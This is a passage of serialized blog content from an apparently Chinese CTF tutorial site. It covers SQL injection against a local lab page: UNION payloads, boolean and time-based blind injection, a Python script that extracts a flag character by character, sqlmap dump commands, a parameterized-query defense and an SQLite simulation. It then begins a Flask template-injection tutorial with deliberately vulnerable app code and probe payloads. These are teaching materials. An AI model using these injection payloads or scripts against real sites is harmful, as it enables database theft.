flag--+\"\n",[18,5919,5920],{"__ignoreMap":46},[50,5921,5922,5924,5926,5929],{"class":52,"line":53},[50,5923,5584],{"class":56},[50,5925,652],{"class":651},[50,5927,5928],{"class":60},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+",[50,5930,658],{"class":651},[15,5932,299,5933,697],{},[18,5934,5935],{},"flag{sql_injection}",[15,5937,5938,5941],{},[271,5939,5940],{},"验证","：若第 6 步报错，通常是列名猜错，回到第 5 步把列名抄准再试。",[10,5943,5945],{"id":5944},"五核心步骤-3盲注页面不回显时","五、核心步骤 3：盲注（页面不回显时）",[15,5947,5948,5950],{},[271,5949,273],{},"：当页面既不显示查询结果也不报错时，把数据库当\"是与否\"的问答机，逐字符问出数据。",[15,5952,5953],{},"当页面不显示查询结果也不报错时，只能用\"是与否\"推断数据。",[713,5955,5957],{"id":5956},"_51-布尔盲注","5.1 布尔盲注",[41,5959,5961],{"className":43,"code":5960,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+\"\n",[18,5962,5963],{"__ignoreMap":46},[50,5964,5965,5967,5969,5972],{"class":52,"line":53},[50,5966,5584],{"class":56},[50,5968,652],{"class":651},[50,5970,5971],{"class":60},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+",[50,5973,658],{"class":651},[15,5975,5976,5977,697],{},"正常 → 库名第一个字符是 ",[18,5978,124],{},[41,5980,5982],{"className":43,"code":5981,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+\"\n",[18,5983,5984],{"__ignoreMap":46},[50,5985,5986,5988,5990,5993],{"class":52,"line":53},[50,5987,5584],{"class":56},[50,5989,652],{"class":651},[50,5991,5992],{"class":60},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+",[50,5994,658],{"class":651},[15,5996,5997,5998,697],{},"为空 → 不是 ",[18,5999,3623],{},[15,6001,6002],{},"自动化脚本：",[15,6004,6005,6007,6008,6011],{},[271,6006,279],{},"：对 flag 的每个位置，逐个尝试字符，问\"这一位是不是 ch\"；页面出现正常特征（如 ",[18,6009,6010],{},"hello","）就说明猜对，把字符记下再问下一位。",[41,6013,6015],{"className":411,"code":6014,"language":413,"meta":46,"style":46},"import requests, string\n# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n\nurl = \"http://127.0.0.1:8000/vuln.php\"\nresult = \"\"          # 保存已确认的 flag 片段\n\nfor pos in range(1, 50):\n    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n    found = False\n    for ch in string.printable:\n        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n        r = requests.get(url, params={\"id\": payload})\n        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n        # r.text：响应正文。\n        if \"hello\" in r.text:\n            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n            result += ch\n            print(result)\n            found = True\n            break\n    if not found or result.endswith('}'):\n        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n        break\nprint(\"flag:\", result)\n",[18,6016,6017,6022,6027,6031,6036,6041,6045,6050,6055,6060,6065,6070,6075,6080,6085,6090,6095,6100,6105,6110,6115,6120,6125,6130,6135,6140,6144],{"__ignoreMap":46},[50,6018,6019],{"class":52,"line":53},[50,6020,6021],{},"import requests, string\n",[50,6023,6024],{"class":52,"line":70},[50,6025,6026],{},"# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n",[50,6028,6029],{"class":52,"line":84},[50,6030,142],{"emptyLinePlaceholder":141},[50,6032,6033],{"class":52,"line":145},[50,6034,6035],{},"url = \"http://127.0.0.1:8000/vuln.php\"\n",[50,6037,6038],{"class":52,"line":151},[50,6039,6040],{},"result = \"\"          # 保存已确认的 flag 片段\n",[50,6042,6043],{"class":52,"line":157},[50,6044,142],{"emptyLinePlaceholder":141},[50,6046,6047],{"class":52,"line":163},[50,6048,6049],{},"for pos in range(1, 50):\n",[50,6051,6052],{"class":52,"line":168},[50,6053,6054],{},"    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n",[50,6056,6057],{"class":52,"line":174},[50,6058,6059],{},"    found = False\n",[50,6061,6062],{"class":52,"line":180},[50,6063,6064],{},"    for ch in string.printable:\n",[50,6066,6067],{"class":52,"line":186},[50,6068,6069],{},"        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n",[50,6071,6072],{"class":52,"line":191},[50,6073,6074],{},"        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n",[50,6076,6077],{"class":52,"line":196},[50,6078,6079],{},"        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n",[50,6081,6082],{"class":52,"line":202},[50,6083,6084],{},"        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n",[50,6086,6087],{"class":52,"line":208},[50,6088,6089],{},"        r = requests.get(url, params={\"id\": payload})\n",[50,6091,6092],{"class":52,"line":214},[50,6093,6094],{},"        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n",[50,6096,6097],{"class":52,"line":220},[50,6098,6099],{},"        # r.text：响应正文。\n",[50,6101,6102],{"class":52,"line":226},[50,6103,6104],{},"        if \"hello\" in r.text:\n",[50,6106,6107],{"class":52,"line":232},[50,6108,6109],{},"            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n",[50,6111,6112],{"class":52,"line":821},[50,6113,6114],{},"            result += ch\n",[50,6116,6117],{"class":52,"line":827},[50,6118,6119],{},"            print(result)\n",[50,6121,6122],{"class":52,"line":833},[50,6123,6124],{},"            found = True\n",[50,6126,6127],{"class":52,"line":839},[50,6128,6129],{},"            break\n",[50,6131,6132],{"class":52,"line":845},[50,6133,6134],{},"    if not found or result.endswith('}'):\n",[50,6136,6137],{"class":52,"line":851},[50,6138,6139],{},"        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n",[50,6141,6142],{"class":52,"line":857},[50,6143,3795],{},[50,6145,6146],{"class":52,"line":862},[50,6147,6148],{},"print(\"flag:\", result)\n",[15,6150,6151],{},"运行过程输出（节选）：",[41,6153,6156],{"className":6154,"code":6155,"language":305,"meta":46},[303],"f\nfl\nfla\nflag{\n...\nflag{sql_injection}\n",[18,6157,6155],{"__ignoreMap":46},[713,6159,6161],{"id":6160},"_52-时间盲注","5.2 时间盲注",[15,6163,6164,6165,6168],{},"页面连\"正常/异常\"都无法区分时，用 ",[18,6166,6167],{},"SLEEP"," 制造时间差：",[41,6170,6172],{"className":43,"code":6171,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+\"\n",[18,6173,6174],{"__ignoreMap":46},[50,6175,6176,6178,6180,6183],{"class":52,"line":53},[50,6177,5584],{"class":56},[50,6179,652],{"class":651},[50,6181,6182],{"class":60},"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+",[50,6184,658],{"class":651},[15,6186,6187],{},"响应慢 2 秒 → 条件为真。脚本判断响应时间即可。",[10,6189,6191],{"id":6190},"六核心步骤-4sqlmap-自动化","六、核心步骤 4：sqlmap 自动化",[15,6193,6194,6196],{},[271,6195,273],{},"：手工确认后，用工具批量完成拖库，效率更高。",[713,6198,6200],{"id":6199},"命令-1检测","命令 1：检测",[15,6202,6203,6205],{},[271,6204,279],{},"：sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认，再定向拖库。",[41,6207,6209],{"className":43,"code":6208,"language":45,"meta":46,"style":46},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --batch\n",[18,6210,6211],{"__ignoreMap":46},[50,6212,6213,6216,6219,6221,6223,6226],{"class":52,"line":53},[50,6214,6215],{"class":56},"sqlmap",[50,6217,6218],{"class":250}," -u",[50,6220,652],{"class":651},[50,6222,5589],{"class":60},[50,6224,6225],{"class":651},"\"",[50,6227,6228],{"class":250}," --batch\n",[15,6230,1658],{},[41,6232,6235],{"className":6233,"code":6234,"language":305,"meta":46},[303],"Parameter: id (GET)\n    Type: boolean-based blind\n    Type: UNION query\n",[18,6236,6234],{"__ignoreMap":46},[713,6238,6240],{"id":6239},"命令-2列库","命令 2：列库",[41,6242,6244],{"className":43,"code":6243,"language":45,"meta":46,"style":46},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --dbs\n",[18,6245,6246],{"__ignoreMap":46},[50,6247,6248,6250,6252,6254,6256,6258],{"class":52,"line":53},[50,6249,6215],{"class":56},[50,6251,6218],{"class":250},[50,6253,652],{"class":651},[50,6255,5589],{"class":60},[50,6257,6225],{"class":651},[50,6259,6260],{"class":250}," --dbs\n",[15,6262,6263,6264,697],{},"预期输出：数据库列表，含 ",[18,6265,1267],{},[713,6267,6269],{"id":6268},"命令-3导出数据","命令 3：导出数据",[41,6271,6273],{"className":43,"code":6272,"language":45,"meta":46,"style":46},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" -D ctf -T flag --dump\n",[18,6274,6275],{"__ignoreMap":46},[50,6276,6277,6279,6281,6283,6285,6287,6290,6293,6296,6299],{"class":52,"line":53},[50,6278,6215],{"class":56},[50,6280,6218],{"class":250},[50,6282,652],{"class":651},[50,6284,5589],{"class":60},[50,6286,6225],{"class":651},[50,6288,6289],{"class":250}," -D",[50,6291,6292],{"class":60}," ctf",[50,6294,6295],{"class":250}," -T",[50,6297,6298],{"class":60}," flag",[50,6300,6301],{"class":250}," --dump\n",[15,6303,299,6304,6306,6307,697],{},[18,6305,3429],{}," 表内容 ",[18,6308,5935],{},[10,6310,6312],{"id":6311},"七核心步骤-5防御","七、核心步骤 5：防御",[41,6314,6316],{"className":5353,"code":6315,"language":5355,"meta":46,"style":46},"// PDO 参数化\n$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n\n// mysqli 参数化\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n$stmt->bind_param(\"ss\", $user, $pass);\n$stmt->execute();\n",[18,6317,6318,6323,6328,6333,6337,6342,6347,6352],{"__ignoreMap":46},[50,6319,6320],{"class":52,"line":53},[50,6321,6322],{},"// PDO 参数化\n",[50,6324,6325],{"class":52,"line":70},[50,6326,6327],{},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n",[50,6329,6330],{"class":52,"line":84},[50,6331,6332],{},"$stmt->execute([$_GET['id']]);\n",[50,6334,6335],{"class":52,"line":145},[50,6336,142],{"emptyLinePlaceholder":141},[50,6338,6339],{"class":52,"line":151},[50,6340,6341],{},"// mysqli 参数化\n",[50,6343,6344],{"class":52,"line":157},[50,6345,6346],{},"$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n",[50,6348,6349],{"class":52,"line":163},[50,6350,6351],{},"$stmt->bind_param(\"ss\", $user, $pass);\n",[50,6353,6354],{"class":52,"line":168},[50,6355,6356],{},"$stmt->execute();\n",[41,6358,6360],{"className":411,"code":6359,"language":413,"meta":46,"style":46},"cursor.execute(\"SELECT * FROM users WHERE username = ?\", (name,))\n",[18,6361,6362],{"__ignoreMap":46},[50,6363,6364],{"class":52,"line":53},[50,6365,6359],{},[15,6367,6368,6369,6372],{},"参数化后，输入 ",[18,6370,6371],{},"1 OR 1=1"," 只会作为字符串比较，不再改变语句结构。",[10,6374,6376],{"id":6375},"八附录本地可运行的-sqlite-模拟完整输入输出","八、附录：本地可运行的 SQLite 模拟（完整输入输出）",[15,6378,6379,6381],{},[271,6380,273],{},"：没有 PHP/MySQL 环境时，用 Python 自带 sqlite3 复现同样的\"字符串拼接注入\"，逐条对照输出理解每一步。",[15,6383,6384,6385,119],{},"没有 PHP/MySQL 时，用 Python + SQLite 复现同样的漏洞机制。保存 ",[18,6386,6387],{},"sim.py",[41,6389,6391],{"className":411,"code":6390,"language":413,"meta":46,"style":46},"import sqlite3\n# sqlite3：Python 标准库，操作 SQLite 数据库。\n\nconn = sqlite3.connect(':memory:')\n# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\nconn.executescript('''\nCREATE TABLE articles (id INT, title TEXT, content TEXT);\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag TEXT);\nINSERT INTO flag VALUES ('flag{sql_injection}');\n''')\n# executescript：一次性执行多条 SQL，建表并插入测试数据。\n\ndef query(id_):\n    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n    cur = conn.cursor()\n    # cursor()：创建游标对象，用于执行 SQL。\n    try:\n        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n        return str(cur.fetchall())\n        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n    except Exception as e:\n        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n        return \"ERROR: \" + str(e)\n\nprint(query(\"1\"))\nprint(query(\"1'\"))\nprint(query(\"1 AND 1=1\"))\nprint(query(\"1 AND 1=2\"))\nprint(query(\"1 ORDER BY 3\"))\nprint(query(\"-1 UNION SELECT 1,2,3-- \"))\nprint(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\nprint(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[18,6392,6393,6398,6403,6407,6412,6417,6422,6427,6431,6436,6440,6445,6450,6454,6459,6464,6469,6474,6479,6484,6489,6494,6499,6504,6509,6514,6518,6523,6528,6533,6538,6543,6548,6553],{"__ignoreMap":46},[50,6394,6395],{"class":52,"line":53},[50,6396,6397],{},"import sqlite3\n",[50,6399,6400],{"class":52,"line":70},[50,6401,6402],{},"# sqlite3：Python 标准库，操作 SQLite 数据库。\n",[50,6404,6405],{"class":52,"line":84},[50,6406,142],{"emptyLinePlaceholder":141},[50,6408,6409],{"class":52,"line":145},[50,6410,6411],{},"conn = sqlite3.connect(':memory:')\n",[50,6413,6414],{"class":52,"line":151},[50,6415,6416],{},"# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\n",[50,6418,6419],{"class":52,"line":157},[50,6420,6421],{},"conn.executescript('''\n",[50,6423,6424],{"class":52,"line":163},[50,6425,6426],{},"CREATE TABLE articles (id INT, title TEXT, content TEXT);\n",[50,6428,6429],{"class":52,"line":168},[50,6430,5472],{},[50,6432,6433],{"class":52,"line":174},[50,6434,6435],{},"CREATE TABLE flag (flag TEXT);\n",[50,6437,6438],{"class":52,"line":180},[50,6439,5482],{},[50,6441,6442],{"class":52,"line":186},[50,6443,6444],{},"''')\n",[50,6446,6447],{"class":52,"line":191},[50,6448,6449],{},"# executescript：一次性执行多条 SQL，建表并插入测试数据。\n",[50,6451,6452],{"class":52,"line":196},[50,6453,142],{"emptyLinePlaceholder":141},[50,6455,6456],{"class":52,"line":202},[50,6457,6458],{},"def query(id_):\n",[50,6460,6461],{"class":52,"line":208},[50,6462,6463],{},"    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n",[50,6465,6466],{"class":52,"line":214},[50,6467,6468],{},"    cur = conn.cursor()\n",[50,6470,6471],{"class":52,"line":220},[50,6472,6473],{},"    # cursor()：创建游标对象，用于执行 SQL。\n",[50,6475,6476],{"class":52,"line":226},[50,6477,6478],{},"    try:\n",[50,6480,6481],{"class":52,"line":232},[50,6482,6483],{},"        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n",[50,6485,6486],{"class":52,"line":821},[50,6487,6488],{},"        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n",[50,6490,6491],{"class":52,"line":827},[50,6492,6493],{},"        return str(cur.fetchall())\n",[50,6495,6496],{"class":52,"line":833},[50,6497,6498],{},"        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n",[50,6500,6501],{"class":52,"line":839},[50,6502,6503],{},"    except Exception as e:\n",[50,6505,6506],{"class":52,"line":845},[50,6507,6508],{},"        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n",[50,6510,6511],{"class":52,"line":851},[50,6512,6513],{},"        return \"ERROR: \" + str(e)\n",[50,6515,6516],{"class":52,"line":857},[50,6517,142],{"emptyLinePlaceholder":141},[50,6519,6520],{"class":52,"line":862},[50,6521,6522],{},"print(query(\"1\"))\n",[50,6524,6525],{"class":52,"line":867},[50,6526,6527],{},"print(query(\"1'\"))\n",[50,6529,6530],{"class":52,"line":873},[50,6531,6532],{},"print(query(\"1 AND 1=1\"))\n",[50,6534,6535],{"class":52,"line":878},[50,6536,6537],{},"print(query(\"1 AND 1=2\"))\n",[50,6539,6540],{"class":52,"line":884},[50,6541,6542],{},"print(query(\"1 ORDER BY 3\"))\n",[50,6544,6545],{"class":52,"line":890},[50,6546,6547],{},"print(query(\"-1 UNION SELECT 1,2,3-- \"))\n",[50,6549,6550],{"class":52,"line":896},[50,6551,6552],{},"print(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\n",[50,6554,6555],{"class":52,"line":902},[50,6556,6557],{},"print(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[15,6559,569],{},[41,6561,6563],{"className":43,"code":6562,"language":45,"meta":46,"style":46},"python3 sim.py\n",[18,6564,6565],{"__ignoreMap":46},[50,6566,6567,6569],{"class":52,"line":53},[50,6568,579],{"class":56},[50,6570,6571],{"class":60}," sim.py\n",[15,6573,3555],{},[41,6575,6578],{"className":6576,"code":6577,"language":305,"meta":46},[303],"[(1, 'hello', 'world')]\nERROR: unrecognized token: \"'\"\n[(1, 'hello', 'world')]\n[]\n[(1, 'hello', 'world')]\n[(1, 2, 3)]\n[(1, 'articles,flag', 3)]\n[(1, 'flag{sql_injection}', 3)]\n",[18,6579,6577],{"__ignoreMap":46},[15,6581,6582],{},"逐行对应：",[312,6584,6585,6597],{},[315,6586,6587],{},[318,6588,6589,6592,6594],{},[321,6590,6591],{},"输入",[321,6593,323],{},[321,6595,6596],{},"结论",[328,6598,6599,6612,6625,6637,6650,6663,6678,6691],{},[318,6600,6601,6606,6609],{},[333,6602,6603],{},[18,6604,6605],{},"1",[333,6607,6608],{},"正常记录",[333,6610,6611],{},"基线",[318,6613,6614,6619,6622],{},[333,6615,6616],{},[18,6617,6618],{},"1'",[333,6620,6621],{},"语法错误",[333,6623,6624],{},"注入点存在",[318,6626,6627,6632,6634],{},[333,6628,6629],{},[18,6630,6631],{},"1 AND 1=1",[333,6633,6608],{},[333,6635,6636],{},"条件真",[318,6638,6639,6644,6647],{},[333,6640,6641],{},[18,6642,6643],{},"1 AND 1=2",[333,6645,6646],{},"空",[333,6648,6649],{},"条件假",[318,6651,6652,6657,6660],{},[333,6653,6654],{},[18,6655,6656],{},"1 ORDER BY 3",[333,6658,6659],{},"正常",[333,6661,6662],{},"至少 3 列",[318,6664,6665,6670,6675],{},[333,6666,6667],{},[18,6668,6669],{},"-1 UNION SELECT 1,2,3",[333,6671,6672],{},[18,6673,6674],{},"(1, 2, 3)",[333,6676,6677],{},"3 列且回显",[318,6679,6680,6683,6688],{},[333,6681,6682],{},"查 sqlite_master",[333,6684,6685],{},[18,6686,6687],{},"articles,flag",[333,6689,6690],{},"表名（SQLite 的元数据表；MySQL 用 information_schema.tables）",[318,6692,6693,6696,6700],{},[333,6694,6695],{},"查 flag 表",[333,6697,6698],{},[18,6699,5935],{},[333,6701,6702],{},"拿到 flag",[10,6704,6706],{"id":6705},"九小结","九、小结",[15,6708,6709,6710,6713],{},"SQL 注入主线：",[271,6711,6712],{},"判断注入点 → UNION 逐层拿数据（列数→库→表→列→数据）→ 盲注兜底 → sqlmap 加速 → 参数化防御","。练完 sqli-labs 前 10 关即可掌握全部内容。",[1244,6715,6716],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":46,"searchDepth":70,"depth":70,"links":6718},[6719,6720,6721,6722,6723,6724,6725,6726,6727],{"id":5346,"depth":84,"text":5347},{"id":5398,"depth":84,"text":5399},{"id":5550,"depth":84,"text":5551},{"id":5706,"depth":84,"text":5707},{"id":5944,"depth":84,"text":5945},{"id":6190,"depth":84,"text":6191},{"id":6311,"depth":84,"text":6312},{"id":6375,"depth":84,"text":6376},{"id":6705,"depth":84,"text":6706},"SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。",{"date":1263,"image":6730,"alt":6731,"tags":6732,"published":141},"/blogs-img/blog5.png","SQL 注入深入实战",[1267,6733,6734,1269],"web","sql注入","/blogs/ctf-web-sql-injection-deep-dive",{"title":5341,"description":6728},"blogs/14. ctf-web-sql-injection-deep-dive","ayEbnZAfIhYBpMrKx07Y9pgkSt5Y7VQ7rhq2f05H6Ns",{"id":6740,"title":6741,"body":6742,"description":7788,"extension":1261,"meta":7789,"navigation":141,"ogImage":7790,"path":7794,"seo":7795,"stem":7796,"__hash__":7797},"content/blogs/15. ctf-web-ssti-deep-dive.md","SSTI 深入实战：探测、RCE 链与绕过",{"type":7,"value":6743,"toc":7778},[6744,6748,6751,6794,6805,6808,6817,6823,6827,6841,6846,6899,6901,6913,6917,6922,6935,6939,6955,6957,6979,6983,6999,7001,7019,7029,7033,7100,7104,7109,7142,7151,7155,7161,7165,7171,7174,7190,7192,7210,7213,7229,7231,7249,7262,7270,7281,7288,7294,7297,7375,7381,7384,7390,7394,7406,7415,7427,7431,7437,7441,7447,7456,7458,7462,7508,7512,7555,7561,7565,7568,7637,7641,7650,7654,7659,7674,7680,7684,7699,7728,7731,7737,7741,7749,7752,7758,7760,7775],[10,6745,6747],{"id":6746},"一现实背景模板引擎的正确与错误用法","一、现实背景：模板引擎的正确与错误用法",[15,6749,6750],{},"Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法：",[41,6752,6754],{"className":411,"code":6753,"language":413,"meta":46,"style":46},"from flask import Flask, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    return render_template(\"hello.html\", name=name)\n",[18,6755,6756,6761,6765,6770,6774,6779,6784,6789],{"__ignoreMap":46},[50,6757,6758],{"class":52,"line":53},[50,6759,6760],{},"from flask import Flask, render_template\n",[50,6762,6763],{"class":52,"line":70},[50,6764,142],{"emptyLinePlaceholder":141},[50,6766,6767],{"class":52,"line":84},[50,6768,6769],{},"app = Flask(__name__)\n",[50,6771,6772],{"class":52,"line":145},[50,6773,142],{"emptyLinePlaceholder":141},[50,6775,6776],{"class":52,"line":151},[50,6777,6778],{},"@app.route(\"/\")\n",[50,6780,6781],{"class":52,"line":157},[50,6782,6783],{},"def index():\n",[50,6785,6786],{"class":52,"line":163},[50,6787,6788],{},"    name = request.args.get(\"name\", \"world\")\n",[50,6790,6791],{"class":52,"line":168},[50,6792,6793],{},"    return render_template(\"hello.html\", name=name)\n",[15,6795,6796,6797,6800,6801,6804],{},"模板文件 ",[18,6798,6799],{},"hello.html"," 内容是固定的 ",[18,6802,6803],{},"\u003Ch1>Hello, {{ name }}!\u003C/h1>","，用户输入只是参数值。",[15,6806,6807],{},"错误写法是把用户输入拼进模板字符串：",[41,6809,6811],{"className":411,"code":6810,"language":413,"meta":46,"style":46},"return render_template_string(\"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\", name=name)\n",[18,6812,6813],{"__ignoreMap":46},[50,6814,6815],{"class":52,"line":53},[50,6816,6810],{},[15,6818,6819,6822],{},[18,6820,6821],{},"{{ ... }}"," 里的表达式会被求值。用户输入进入模板字符串，就形成了模板注入（SSTI）。",[10,6824,6826],{"id":6825},"二环境搭建","二、环境搭建",[41,6828,6830],{"className":43,"code":6829,"language":45,"meta":46,"style":46},"pip install flask\n",[18,6831,6832],{"__ignoreMap":46},[50,6833,6834,6836,6838],{"class":52,"line":53},[50,6835,3834],{"class":56},[50,6837,61],{"class":60},[50,6839,6840],{"class":60}," flask\n",[15,6842,2632,6843,119],{},[18,6844,6845],{},"app.py",[41,6847,6849],{"className":411,"code":6848,"language":413,"meta":46,"style":46},"from flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n    return render_template_string(html, name=name)\n\napp.run(host=\"0.0.0.0\", port=5000)\n",[18,6850,6851,6856,6860,6864,6868,6872,6876,6880,6885,6890,6894],{"__ignoreMap":46},[50,6852,6853],{"class":52,"line":53},[50,6854,6855],{},"from flask import Flask, request, render_template_string\n",[50,6857,6858],{"class":52,"line":70},[50,6859,142],{"emptyLinePlaceholder":141},[50,6861,6862],{"class":52,"line":84},[50,6863,6769],{},[50,6865,6866],{"class":52,"line":145},[50,6867,142],{"emptyLinePlaceholder":141},[50,6869,6870],{"class":52,"line":151},[50,6871,6778],{},[50,6873,6874],{"class":52,"line":157},[50,6875,6783],{},[50,6877,6878],{"class":52,"line":163},[50,6879,6788],{},[50,6881,6882],{"class":52,"line":168},[50,6883,6884],{},"    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n",[50,6886,6887],{"class":52,"line":174},[50,6888,6889],{},"    return render_template_string(html, name=name)\n",[50,6891,6892],{"class":52,"line":180},[50,6893,142],{"emptyLinePlaceholder":141},[50,6895,6896],{"class":52,"line":186},[50,6897,6898],{},"app.run(host=\"0.0.0.0\", port=5000)\n",[15,6900,569],{},[41,6902,6904],{"className":43,"code":6903,"language":45,"meta":46,"style":46},"python app.py\n",[18,6905,6906],{"__ignoreMap":46},[50,6907,6908,6910],{"class":52,"line":53},[50,6909,413],{"class":56},[50,6911,6912],{"class":60}," app.py\n",[10,6914,6916],{"id":6915},"三核心步骤-1探测","三、核心步骤 1：探测",[15,6918,6919,6921],{},[271,6920,273],{},"：确认\"用户输入被当作模板代码求值\"。",[15,6923,6924,6926,6927,6930,6931,6934],{},[271,6925,279],{},"：模板引擎会执行 ",[18,6928,6929],{},"{{ 表达式 }}","。传 ",[18,6932,6933],{},"{{7*7}}","，若响应出现 49，说明表达式被求值，注入成立。先做这一步，再考虑 RCE。",[713,6936,6938],{"id":6937},"_31-正常请求","3.1 正常请求",[41,6940,6942],{"className":43,"code":6941,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:5000/?name=alice\"\n",[18,6943,6944],{"__ignoreMap":46},[50,6945,6946,6948,6950,6953],{"class":52,"line":53},[50,6947,5584],{"class":56},[50,6949,652],{"class":651},[50,6951,6952],{"class":60},"http://127.0.0.1:5000/?name=alice",[50,6954,658],{"class":651},[15,6956,299],{},[41,6958,6962],{"className":6959,"code":6960,"language":6961,"meta":46,"style":46},"language-html shiki shiki-themes dracula","\u003Ch1>Hello, alice!\u003C/h1>\n","html",[18,6963,6964],{"__ignoreMap":46},[50,6965,6966,6969,6972,6975,6977],{"class":52,"line":53},[50,6967,6968],{"class":96},"\u003C",[50,6970,6971],{"class":644},"h1",[50,6973,6974],{"class":96},">Hello, alice!\u003C/",[50,6976,6971],{"class":644},[50,6978,1322],{"class":96},[713,6980,6982],{"id":6981},"_32-表达式求值","3.2 表达式求值",[41,6984,6986],{"className":43,"code":6985,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:5000/?name={{7*7}}\"\n",[18,6987,6988],{"__ignoreMap":46},[50,6989,6990,6992,6994,6997],{"class":52,"line":53},[50,6991,5584],{"class":56},[50,6993,652],{"class":651},[50,6995,6996],{"class":60},"http://127.0.0.1:5000/?name={{7*7}}",[50,6998,658],{"class":651},[15,7000,299],{},[41,7002,7004],{"className":6959,"code":7003,"language":6961,"meta":46,"style":46},"\u003Ch1>Hello, 49!\u003C/h1>\n",[18,7005,7006],{"__ignoreMap":46},[50,7007,7008,7010,7012,7015,7017],{"class":52,"line":53},[50,7009,6968],{"class":96},[50,7011,6971],{"class":644},[50,7013,7014],{"class":96},">Hello, 49!\u003C/",[50,7016,6971],{"class":644},[50,7018,1322],{"class":96},[15,7020,7021,7024,7025,7028],{},[18,7022,7023],{},"7*7"," 被求值成 ",[18,7026,7027],{},"49","，说明模板表达式生效，SSTI 成立。",[713,7030,7032],{"id":7031},"_33-其他引擎的探测语法","3.3 